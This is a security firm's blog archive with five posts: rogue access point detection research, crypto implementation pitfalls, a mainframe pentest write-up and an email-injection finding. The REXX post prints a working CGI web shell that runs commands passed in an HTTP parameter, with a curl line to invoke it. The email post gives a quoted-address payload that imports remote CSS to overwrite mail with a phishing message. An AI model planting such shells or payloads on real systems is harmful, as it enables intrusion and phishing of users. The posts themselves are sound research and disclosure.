Twitter
Tuesday
Jan172017

Whitepaper: Identifying Rogue Access Point Attacks Using Probe Response Patterns and Signal Strength

Last summer we released material at DEF CON 2016 documenting our research on rogue access point attack detection. As a follow-up, we are releasing our extended whitepaper on the subject. The whitepaper begins by providing a thorough overview of the weaknesses that make 802.11 susceptible to rogue access point attacks. We also explain why these weaknesses are still relevant in today’s wireless landscape, with a particular focus on enterprise environments. Previous attempts at remediating these issues are also explored, as is the evolution of rogue access point technology over the past decade. Finally, with this background information out of the way, we deliver two new techniques for detecting evil twin and Karma attacks. Potential areas for future research are also identified, providing a starting point for future exploratory endeavors.

Our whitepaper can be found at the following URL:

https://github.com/gdssecurity/Whitepapers/blob/master/GDS Labs - Identifying Rogue Access Point Attacks Using Probe Response Patterns and Signal Strength.pdf

To check out our previous work on the subject, including our DEF CON material and Sentrygun rogue AP killing software, please refer to the links below:

https://github.com/gdssecurity/sentrygun
https://github.com/gdssecurity/sentrygun-server
https://www.youtube.com/watch?v=dtNUFGnToQs
https://docs.google.com/presentation/d/1uwlF2nl6EtC70yryK8MleACMl72EGwkCZWng5eVONOQ/edit

Friday
Dec092016

Why it is Hard to Implement Cryptographic Algorithms

Although it is oft-repeated that implementing cryptographic algorithms by non-professionals is a bad idea, we would like to give some concrete examples of how things can go wrong, and show some of the ways these pitfalls have been avoided by some of the well-known cryptographic libraries. Hopefully, these examples will serve as danger signs to those who consider implementing cryptographic algorithms from scratch based on potentially imprecise specifications.

It’s often overlooked that every programming language is executed over an abstract machine. The abstract machine that C works over is surprisingly complicated and has some unexpected behaviours even to experienced developers. However, one does not need to go to the level of C to find unexpected behaviour. Even modern assembly language is running over an abstract machine. This can easily be demonstrated by running an executable that accesses the same data item, say a lookup table, repeatedly. Parts of the lookup table will end up in some of the L1/L2/L3 cache of the CPU and the time it takes to execute parts of program that access the table might radically decrease as time goes on [1]. Unfortunately, when things take different time to execute depending on secret data, such as the key or the correct authentication code, there is a potential for attack. Similarly, branching behaviour can also affect timing even if the code under the branches only deals with registers and takes the same number of micro ops. Modern CPUs have complex branch prediction logic that favours past branch outcomes. This can significantly affect timing and can lead to practical attacks [2]. However, it’s not only execution time that abstract machines influence. The C standard allows compilers to perform optimizations such as removing expressions whose value is not used and that produce no needed side-effects (C11 standard §5.1.2.3 paragraph 4). As such if one attempts, using a modern C compiler, to remove sensitive data by naively zeroing the memory region before freeing it, the generated code will often not contain the zero writes. Such subtleties surprise many programmers but are well-known to those who regularly implement cryptographic algorithms (many of whom will have learnt from their own, or others, previous mistakes). Countermeasures against these issues are not easy and sometimes require difficult trade-offs. It’s relatively easy to avoid using lookup tables for S-boxes, but removing branches that can leak sensitive data requires the careful consideration of an expert.

A software developer is often required to be an interpreter of the intention and decisions of the software designers and the broader context (social, cultural, technical, etc.) in which those decisions were made. What this means in practice is that the developer is often left with many choices when it comes to implementation. In the case of cryptography, some things may only have been decided in what a cryptographer would consider a very rough specification, such as: use HMAC-SHA-2 and AES. However, that leaves many questions unanswered. Should different keys be used for each? What block cipher mode should be used for AES? How should the Message authentication Code (MAC) and the ciphertext be combined? How should the common pitfalls associated with both encrypt-then-MAC and MAC-then-encrypt be avoided? When using a standard off-the-shelf library’s high-level primitives, such questions are usually already answered, at least when defaults are not overridden,  by the authors of the library. For example, NaCl’s secretbox [3] uses Authenticated Encryption with Associated Data (AEAD) with Salsa20 as the encryption provider and Poly1305 as the MAC provider in a well-combined manner. These are strong, fast, well-chosen (if not universally recognised) algorithms and implementations that work well together and non-coincidentally avoid all the pitfalls mentioned above. Asking a developer not proficient in cryptography to put such a system together is inherently risky.

Another issue with implementing cryptographic systems is that some properties of these systems are rather fragile. A prime example is that of AES-CBC which uses padding to extend the length of the message to be a multiple of the block size of AES. If the developer decides to return a different error code when the padding is malformed rather than when it is correct, but the decoded plaintext doesn’t match the MAC, the plaintext can be decoded. At GDS, we have not only seen such issues in deployed systems but have also published a tool to demonstrate them [4]. Such pitfalls are not unique to symmetric cryptographic primitives. It is not unheard of to see developers being surprised that RSA signing and encryption operations both require secure random numbers. If one reads through the RSA page of Wikipedia [5] for example, there is nothing random about the mathematical operation. However, if implemented purely, without randomness, both uses of RSA have some trivially unsuitable properties. For example, if a number between 0 and 65535 has been encrypted, one only needs to perform the RSA encryption operation 65536 times using the public key to know for certain what number hasbeen “encrypted”. In case the number is some form of pre-commitment, such as how much stock one is willing to buy, the effects can be devastating. All library implementations of RSA encryption avoid this pitfall by using the proper RSAES-OAEP/PKCS1-v2.0 encryption schemes.

Finally, the issue with hand-rolling cryptographic systems is that if and when they get broken, it is very hard to replace them without risking the ecosystem that the product created, paying a very high price, or both. For example, A5/1 used for GSM encryption has long been known to be broken [6], yet replacing it has been almost impossible for over a decade thanks to the millions of handsets still in operation from decades ago. This has left billions of phones susceptible to a wide range of attacks both from governments and private enthusiasts. As the Internet of Things (IoT) is gathering speed by the day and commodity devices such as TVs and kettles start being connected to the Internet, it is crucial to make sure that these systems have good security from the get go and can be securely, remotely updated with full user consent if need be. Unfortunately, not everything can be updated remotely, such as the MIFARE Classic cards, marketed as Oyster transportation cards in London. There, a cipher with an extremely short, 48 bit key was deployed to “secure” digital wallets. Upgrading thousands of entry points and millions of Oyster Cards to one capable of 128 bit AES encryption was probably not the cheapest of endeavours.

At GDS we see many products with incomplete crypto specifications and resultant code that does not take into account the often complicated and subtle issues around the design, implementation, and use of cryptography. When such code is already in production, especially when it has been in use for years, the cost of replacing it can be prohibitively high. Hence our recommendation is to always do a thorough, complete evaluation of where the final product will be used to properly establish context, then work out a full, precise specification that can match the requirements established and finally to use well-established cryptographic libraries’ crypto components to implement the specification. Once the product is in use, it is also important to monitor whether the context in which it is deployed in has changed. Not only the cryptographic landscape can change as new attacks are found but those who designed the product may find that over the years its use-case changes from the original intention. In these cases a new requirements analysis and potentially amended specification and implementation is warranted.

[1] https://cr.yp.to/antiforgery/cachetiming-20050414.pdf
[2] http://link.springer.com/chapter/10.1007%2F11967668_15#page-1
[3] https://nacl.cr.yp.to/secretbox.html
[4] http://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html
[5] https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Encryption
[6] https://en.wikipedia.org/wiki/A5/1

Friday
Aug262016

Slaying Rogue Access Points with Python and Cheap Hardware

The Need for Open Source Rogue AP Protection

With the exception of cellular attacks that make use of SDR, rogue access point attacks are the most effective wireless attacks in practice today. Despite the fact that karma attacks have existed for nearly a decade, many devices still probe actively for their preferred networks, rendering them vulnerable to this form of exploitation [1]. Evil Twin attacks remain an issue for enterprise and smaller scale commercial networks alike.

Although effective solutions for detecting and responding to rogue access point attacks exist, they typically fall into a price bracket that is accessible only to enterprise customers [2][3][4]. This means that smaller scale commercial and retail networks, or even public sector networks operating with limited resources, are unlikely to be able to include rogue access point detection as part of their budgets. This lack of low-budget rogue AP protection has a severe impact on the security of the wireless landscape as a whole. Although attackers can and do use rogue access point attacks against enterprise networks, this is usually done with the intent of gaining credentials to pivot further into the target’s infrastructure. On the other hand, attackers who are focused on harvesting sensitive information such as credit card numbers are unlikely to target heavily secured and regularly audited enterprise networks. Instead, they are much more likely to employ evil twin attacks against softer targets such as local retailers and coffee shops, or make use of karma attacks in a crowded subway car or freeway. What this means is that the environments most likely to be targeted by a malicious actor are also the least protected.

In response to this problem, I developed an open source tool called sentrygun that can be run on inexpensive hardware in parallel with existing network setups. This blog post will cover the development of sentrygun, from the algorithms used to detect rogue APs to the design patterns used to leverage those algorithms by network administrators. Finally, it will document the successes and challenges faced when deploying sentrygun to protect one of the most hostile network environments in the world: BSides Las Vegas.

Building a Rogue AP Protection Platform Pt 1 – Algorithm Development

The first task in creating sentrygun was to develop a set of reliable, effective, and easily implemented algorithms for detecting evil twin and karma attacks. A lot of prior work has already been done in this area, which gave me a pretty big head start. Unfortunately, most of the more advanced methods of detecting rogue access point attacks require direct coordination with the wireless networking hardware [5]. Most networking hardware is highly proprietary, making this kind of cooperation next to impossible.

This means that the algorithms used by sentrygun would have to operate in complete independence from the network being protected. Three algorithms were identified that met this requirement: evil twin detection using whitelisting, evil twin detection through statistical analysis of signal strength, and karma detection through analysis of probe request/response patterns.

Detecting evil twin attacks using whitelisting is a classic approach outlined in multiple sources, most notably in a 2006 SANS publication by Larry Pesce [6]. In this strategy, a whitelist is created containing the ESSID and BSSID of every wireless access point on the network being protected. A packet sniffer then captures probe response packets from nearby access points. If a probe response is captured that has an ESSID from the whitelist, but a BSSID not in the whitelist, it follows that there is an evil twin attack occurring nearby.

whitelist based algorithm for detecting evil twins

The problem with this approach is that it does not account for scenarios in which the attacker sets the BSSID of the rogue access point to a BSSID used by a legitimate access point on the network. One way of addressing this issue is by adopting a different strategy entirely: attempt to identify evil twin attacks by paying attention to signal strength. Suppose we were to place a packet sniffer a fixed distance away from a legitimate access point on our network. Wireless access points are typically stationary objects, so the signal strength from the access point to the packet sniffer should not change drastically over a short period of time. Now suppose an attacker spawned an evil twin access point somewhere nearby. Packets sniffed from the evil twin should have noticeably different TX values than packets sniffed from the legitimate access point.

This means that we can augment our previous approach by establishing a baseline TX range for packets sent from each BSSID in the whitelist. Any packets received that appear to come from an access point in the whitelist, but that have a TX value that falls outside of the baseline range for that access point, are deemed to have been sent by an evil twin. This combined approach of whitelisting and signal strength analysis provides a  more effective solution to evil twin detection.

 

whitelist algorithm augmented with signal strength analysis

Spotting karma attacks turns out to be much simpler. Karma attacks work by configuring a rogue access point to respond to all probe requests it receives [7]. If the rogue access point receives a legitimate probe request for the ESSID “ms08067”, it will respond with a probe response for ESSID “ms08067”. Similarly, if it receives a probe request for the ESSID “\x90\x90\x90”, it will reply with a probe response for ESSID “\x90\x90\x90”. The rogue access point will send all of these responses using the same BSSID [1]. Since the targeted wireless clients need a consistent BSSID in order to remain connected to the rogue access point, cycling BSSIDs between probe responses is not an option.

 

algorithm to detect karma attacks

This means that karma attacks can always be identified by the one-to-many relationship that they create between a single BSSID that maps to multiple ESSIDs. Karma attacks can be detected by flagging any BSSID that sends probe responses for multiple ESSIDs. This algorithm can be further improved by periodically crafting and broadcasting probe requests for random ESSIDs using a parallel process. Doing so allows the algorithm to detect karma attacks even when no wireless clients are actively probing nearby.

Sentrygun uses all three of the algorithms described to detect evil twin and karma attacks. Additional methods for detecting evil twin and karma attacks are currently being implemented, along with improvements to the algorithms already in use.

Building a Rogue AP Protection Platform Pt 2 – System Development

Using the algorithms described in the previous section to build a functional wireless IDS system poses its own set of challenges. Such a system would have to be capable of protecting a wireless network of arbitrary size, and would have to scale with future expansions of the network. It would also have to give sole network operators a means of tracking and managing attacks across the entire network from a centralized location. The system would have to require minimal setup and fine tuning in order to work. Most importantly, the system would have to meet these requirements while still providing a reliable means of identifying, locating, and responding to wireless attacks.

Figure 1

To meet these requirements, sentrygun was developed as an array of sensors arranged in a grid connected to a centralized command and control server through ssh tunnels (figure 1). All sensor and server systems are security hardened Linux installations. Each sensor runs a packet sniffing Python script that analyzes wireless traffic using the algorithms described in the previous section. When a sensor detects a rogue access point attack, an alert is pushed to the C&C server. The C&C server stores the alert details in a time based cache, then broadcasts the alert to one or more web clients. Each web client displays a list of all alerts that have recently been sent by the sensors.

Figure 2

As shown in figure 2, alerts can be expanded to show a list of all devices currently detecting the wireless attack. Network administrators can respond by launching a flooding or deauth attack that is carried out by all sensor devices simultaneously. Additionally, network administrators can attempt to locate the rogue access point by sending security personnel to the sensor detecting the highest TX power from the attack. Sensor devices are sorted by TX and can be labeled to facilitate this functionality, as shown in figure 2. Finally, network administrators can choose to dismiss the alert. Doing so causes the C&C server to remove the alert from the time based cache and broadcast a message to all web and sensor clients. This message causes all web clients to remove the alert from the list, and causes all sensors to terminate any existing deauth or flooding attacks against the rogue access point.

This architecture provides sentrygun with the means to detect, respond to, and locate rogue access point attacks in real-time. Additionally, since the most resource intensive work is done on the C&C server, the sensor units can be built using inexpensive platforms such as the Raspberry Pi. Finally, the web interface provides an intuitive cross platform interface for controlling sentrygun and analyzing wireless attack data.

Field Test: BSides Las Vegas

Ensuring that sentrygun was able to function effectively outside of the lab environment could only be accomplished through intense field testing. Fortunately, the BSides Las Vegas NOC team generously provided me with a live environment in which to conduct such a test. Simply put: they put me in charge of wireless security for the conference. This meant that I was tasked with ensuring the integrity of attendees’ data during a week in which Vegas is home to some of the most notoriously hostile networks in the world. It seemed like an excellent opportunity to test  sentrygun.

I arrived in Las Vegas on Saturday afternoon, July 30th, three days before the start of the BSides conference. After meeting up with the rest of the BSides staff, we spent the evening unpacking boxes and making an emergency run to the local electronics depot to purchase supplies for the network. The NOC team was scheduled to build the conference network on Monday, which gave me all of Sunday to assemble and test each of the sensor units used in the sentrygun implementation. Due to the number of sensors needed to cover the conference floorspace, doing this in such a short timeframe seemed daunting.

Tuscany Suites Sweatshop. BSides Goons from left to right: Chester Bishop, Ben, and Justin Whitehead                 

These look totally harmless

Fortunately, a few of the awesome folks on the BSides security team came to the rescue to help me set up the sensors. We converted a hotel room into an electronics workshop, sat down with a couple of cases of Red Bull, and finished building the sentrygun sensor units within a few hours.

At the BSides NOC, we take cable management seriously

On Monday morning I joined the NOC team in setting up the BSides network itself. This involved running a few thousand feet of Cat5 cable, as well as configuring three wireless networks across multiple channels. Once the network was set up, the sentrygun sensors were laid out in a grid across the conference floor using copious amounts of gaff tape and Velcro.


Don’t mind the things on the walls….


 

On Tuesday morning, the conference opened its doors and the network was put to use. Within half an hour, a panicked attendee had already summoned security after purportedly finding a rogue access point taped to the wall. The “rogue access point” turned out to be one of our sentrygun sensor units, much to the amusement of the BSides staff. We had no similar incidents throughout the rest of the day.

No wireless threats were detected until the early evening, at which point the 802.11 spectrum seemed to come alive with hostility. At around 5pm, sentrygun detected a karma attack emanating from one of the far corners of the main conference space. Security was dispatched to investigate, and after noticeably increasing the physical security presence in the area the attack stopped. By the end of the conference on Tuesday night, several similar attacks were identified and dealt with accordingly.

The field test demonstrated that sentrygun is capable of identifying wireless threats in a live network environment. It also led to several important findings that will prove critical in sentrygun’s transition from a proof of concept to a mature wireless defense platform. One such finding is that within the context of a crowded conference venue, narrowing the location of a rogue access point down to a few meters is not always enough. There were multiple incidents in which an evil twin or Karma attack was detected and localized to an area containing at least two dozen people with backpacks or laptops. In these circumstances, noticeably increasing security presence was usually enough to stop the attack. However, the ability to consistently identify the exact source or perpetrator of the attack would be preferable.

Closing Thoughts

Overall, the sentrygun project has been a success. It has demonstrated that it is possible to provide rogue access point detection using relatively simple algorithms and inexpensive equipment. It has demonstrated that such a system can be designed and built over the course of a few weeks. It has also lead to the development or verification of three algorithms used for detecting evil twin and karma attacks. Most importantly, it has opened the doors for future research in rogue AP identification and mitigation.

There are aspects of sentrygun’s design that require further development. While sentrygun’s algorithm for detecting evil twins based on variance in TX values makes for an effective proof of concept, stronger statistical models that account for externalities such as environmental interference would be preferable. Similarly, it would be interesting to investigate the use of machine learning to distinguish between rogue and legitimate access points. Finally, a more effective technique for locating rogue access points is needed if the system is to be equally effective in highly populated environments.

Sentrygun is an open source project. If you’d like to contribute, particularly in the areas previously mentioned, please contact [email protected] or make a pull request to the appropriate Github repo from the list below: 

Additionally, be sure to check out my DEFCON talk on rogue access point detection. The PowerPoint slides are can be found here, and video footage should be on YouTube within the next few weeks.

References

[1] https://www.sensepost.com/blog/2015/improvements-in-rogue-ap-attacks-mana-1-2/
[2] http://ciscoprice.com/gpl/AIR%200
[3] http://www.arubanetworks.com/assets/wsca/WSCA_PriceList.xls
[4] https://www.amazon.com/Fluke-Networks-AM-A1150-AirMagnet/dp/B002YHJMMY?ie=UTF8&*Version*=1&*entries*=0
[5] http://www.cisco.com/c/en/us/support/docs/wireless/4400-series-wireless-lan-controllers/112045-handling-rogue-cuwn-00.html
[6] https://www.giac.org/paper/gawn/7/discovering-rogue-wireless-access-points-kismet-disposable-hardware/107273
[7] https://www.trailofbits.com/resources/attacking_automatic_network_selection_paper.pdf
[8] http://www.arubanetworks.com/assets/ds/AB_AW_RAPIDS.pdf
[9] http://www.cisco.com/c/en/us/products/wireless/buyers-guide.html
[10] http://www.arubanetworks.com/techdocs/InstantMobile/Advanced/Content/Instant%20User%20Guide%20-%20volumes/Rogue_AP_Detection_and_C.htm
[11] http://www.arubanetworks.com/techdocs/ArubaOS_63_Web_Help/Content/ArubaFrameStyles/New_WIP/Rogue_AP_Detection.htm
[12] http://www.arubanetworks.com/assets/contract/March2015_PriceList.xls

Wednesday
Jun222016

REXX CGI Web Shell

Recently I was conducting a mainframe assessment (z/OS), and the application account I had access to was able to FTP directly to the system. There were also multiple web servers listening on the host, so I used web shell planting tactics to gain remote command execution — albeit with an uncommon scripting language (REXX).

Typically when you FTP to an IBM mainframe you will find yourself in the Multiple Virtual Storage (MVS) file system. This is indicated by “Remote system type is MVS” in the FTP response message.

It’s possible to change to a Unix-like file system, Hierarchical File System (HFS), to make it easier to understand (at least for me!). This can be accomplished by executing a simple change directory command using FTP.

Change to HFS
ftp> cd /
250 HFS directory /s the current working directory

After identifying this access, I trawled through the more familiar file system and came across a CGI web root that permitted the execution of REXX scripts. REXX is an interpreted scripting language developed by IBM that dates back to the beginning of the 80s.

After creating a simple REXX web shell, I was able to upload the shell to the web root and chmod it with the appropriate permissions.

REXX Web Shell
/* rexx */
'cgiutils -status 200 -ct text/x-ssi-html'
address syscall 'pipe p.'
'cgiparse -f > /dev/fd' || p.2
address syscall 'close' p.2
address mvs 'execio 1 diskr' p.1 '(stem s.'
interpret s.1

do i=1 to 100 until s.1=''
   parse var s.1 parm.i.1 '=' parm.i.2 '&' s.1
   if parm.i.1 = 'FORM_cmd' then do
     cmd = parm.i.2
     cmd = STRIP(cmd, ,"'")
   end
   end

say 'Running as ' || USERID()
say 'Executing the following command... "' || cmd || '"'
address syscall 'pipe p.'
cmd || ' >/dev/fd'||p.2
address syscall 'close' p.2
address mvs 'execio * diskr' p.1 '(stem s.'
do i=1 to s.0
   say s.i
end
return

Finally, by sending a command to be executed in the cmd HTTP request parameter, I was able to gain command execution on the system as the WWWPUB user. Although there was FTP access, it is much easier to enumerate and attack the system given interactive execution of commands and this also provided different access permissions.

The script can be executed like so:
$ curl http://host/cgi/foo/cmd.rexx --data-urlencode 'cmd=id'

Here we can see an example of the ps -ef command being executed by the WWWPUB user in the CGI directory.




Monday
Jun132016

Email Injection

On a recent project, we noticed that an application was accepting email addresses in an unsafe format. In the case of this application, it was sending the email address in an email to a user’s account, without escaping.

It’s not that the application wasn’t validating email addresses. It was, in fact, running all email address through the standard Java validator, javax.mail.internet.InternetAddress.validate().

However, legal email addresses can have some amazingly complex things in them.

The Wikipedia page for email addresses has examples of legitimate, if crazy, email addresses.

The Java library mostly (but not completely) agrees with the email addresses as indicated in that article.

Now, to put dangerous content into email addresses, there are two general methods useful for attackers: comments and quoted portions. The Java library does not accept comments in email addresses, but it does accept quoted portions.

This is an example of a legal email using quoting:

 "john.smith"@example.org

as is

 "john.smith<script>alert(1);<script>"@example.org

Web pen testers will recognize the latter as the canonical test for an XSS attack.

In this case, the email address was being put into an outbound email. This normally is not an XSS vector. Email is typically read in a dedicated mail application, or in a webapp. Mail applications often don’t have JavaScript engines, and Webmail applications as a rule will refuse to render any JavaScript. (Sometimes attackers will find a way around this, but it’s very hard to do, and if they succeed it is a much bigger problem than any I describe here.)

Modern mail readers still have significant CSS capabilities, so the ability to insert arbitrary HTML into them means the ability to change the message visible to the user arbitrarily.  This can lead to very successful phishing attacks, since an attacker can cause malicious messages to originate from the legitimate and expected service.

My primary mail reader target was OSX’s Mail.app, with Thunderbird as a secondary.

The application we were looking at had a strong limit of 50 characters for an email address, and the domain had to have at least two labels, of which the second had to be at least 2 characters. (This is not part of the RFC, nor does the Java library require it.) Given the quotes and the domain, the longest message that could be inserted was 43 characters:

    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"@x.xx

It was necessary, of course, to start a style tag, as well as to close it, so that left us with this much room:

    "<style>XXXXXXXXXXXXXXXXXXXXXXXXXXXX</style>"@x.xx

This still allowed room for a payload to be inserted thanks to URL shorteners and use of the @import directive.

    "<style>@import 'http://xxxxxxxxxxx'</style>"@x.xx

The “http://” is required in the mail context, as are the quotes.

Can a normal person fit a URL in 11 characters?  Domains like “ant.nu” are available, but there is no need to splurge on a short domain.  The best link shorteners can give you a URL in 9 characters, so this is our hostile email addresses, with two characters to spare

    "<style>@import 'http://ly.my/pva'</style>"@x.xx

Now, with arbitrary space, we can put in an appropriate payload that overwrites the message:

body {
  visibility: hidden;
}
body:after {
  content:'We have detected unauthorized access to your account. Please visit http://example.account-recovery.net/ to restore access, or call 555-1212.';
  visibility: visible;
  display: block;
  position: absolute;
  padding: 5px;
  top: 2px;
}

And the message in Apple Mail.app looks like this:

In Thunderbird, if you accept the warning to load remote content, you get this:

LESSONS

  1. Email address validation is not the same as email address sanitization.
  2. More mail readers should be suspicious of external links, and offer an option like Thunderbird does to delay loading of external content.